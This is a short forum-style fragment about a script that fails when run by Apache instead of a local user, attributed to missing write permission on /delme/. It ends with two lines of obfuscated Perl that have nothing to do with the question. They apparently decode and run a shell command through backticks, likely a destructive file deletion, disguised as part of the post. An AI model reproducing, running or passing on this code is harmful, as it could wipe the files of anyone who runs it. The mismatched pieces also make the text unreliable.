The problems are here (cite):
- I'm using exactly the same files and folders in both cases
- the script that works is run as a local non-root user and the other is www apache
apache will most surely not have permission to write to /delme/.
s$$([},&%#}/&/]+}%&{})*;#$&&s&&$^X.($'^"%]=\&(|?*{%
+.+=%;.#_}\&"^"-+%*).}%:##%}={~=~:.")&e&&s""`$''`"e